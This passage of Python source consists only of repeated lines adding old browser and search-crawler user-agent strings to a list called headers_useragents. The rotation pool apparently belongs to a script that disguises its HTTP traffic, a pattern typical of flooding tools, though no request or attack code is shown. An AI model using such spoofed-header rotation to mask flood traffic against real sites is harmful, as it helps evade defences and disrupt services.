  1205.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1206.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1207.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1208.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1209.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1210.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1211.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1212.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1213.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1214.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1215.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  1216.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1217.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  1218.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  1219.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  1220.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  1221.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  1222.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  1223.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  1224.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  1225.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  1226.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  1227.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  1228.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  1229.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  1230.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1231.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  1232.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1233.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  1234.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  1235.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  1236.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  1237.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  1238.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  1239.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1240.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  1241.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  1242.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  1243.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  1244.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  1245.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  1246.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  1247.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  1248.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  1249.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  1250.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  1251.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  1252.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  1253.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  1254.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  1255.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  1256.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  1257.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  1258.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  1259.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  1260.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  1261.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  1262.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  1263.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  1264.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  1265.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1266.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1267.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1268.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1269.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1270.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1271.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1272.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1273.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1274.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1275.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1276.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1277.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  1278.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  1279.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  1280.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1281.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  1282.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1283.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1284.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1285.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1286.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1287.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1288.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1289.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1290.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1291.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  1292.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1293.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1294.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1295.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1296.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1297.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1298.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1299.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1300.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1301.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1302.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  1303.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1304.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  1305.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  1306.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  1307.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  1308.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  1309.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  1310.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  1311.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  1312.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  1313.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  1314.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  1315.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  1316.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  1317.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1318.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  1319.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1320.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  1321.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  1322.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  1323.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  1324.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  1325.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  1326.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1327.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  1328.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  1329.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  1330.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  1331.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  1332.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1333.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1334.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1335.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1336.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1337.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1338.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1339.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  1340.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1341.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1342.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1343.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1344.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1345.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1346.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1347.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1348.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1349.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1350.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  1351.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1352.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  1353.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  1354.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  1355.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  1356.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  1357.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  1358.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  1359.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  1360.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  1361.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  1362.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  1363.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  1364.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  1365.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1366.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  1367.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1368.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  1369.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  1370.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  1371.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  1372.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  1373.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  1374.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1375.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  1376.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  1377.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  1378.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  1379.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  1380.     headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620')
  1381.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com')
  1382.     headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)')
  1383.     headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
  1384.     headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
  1385.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  1386.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  1387.     headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)')
  1388.     headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)')
  1389.     headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')
  1390.     headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)')
  1391.     headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)')
  1392.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  1393.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  1394.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  1395.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  1396.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)')
  1397.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  1398.     headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)')
  1399.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
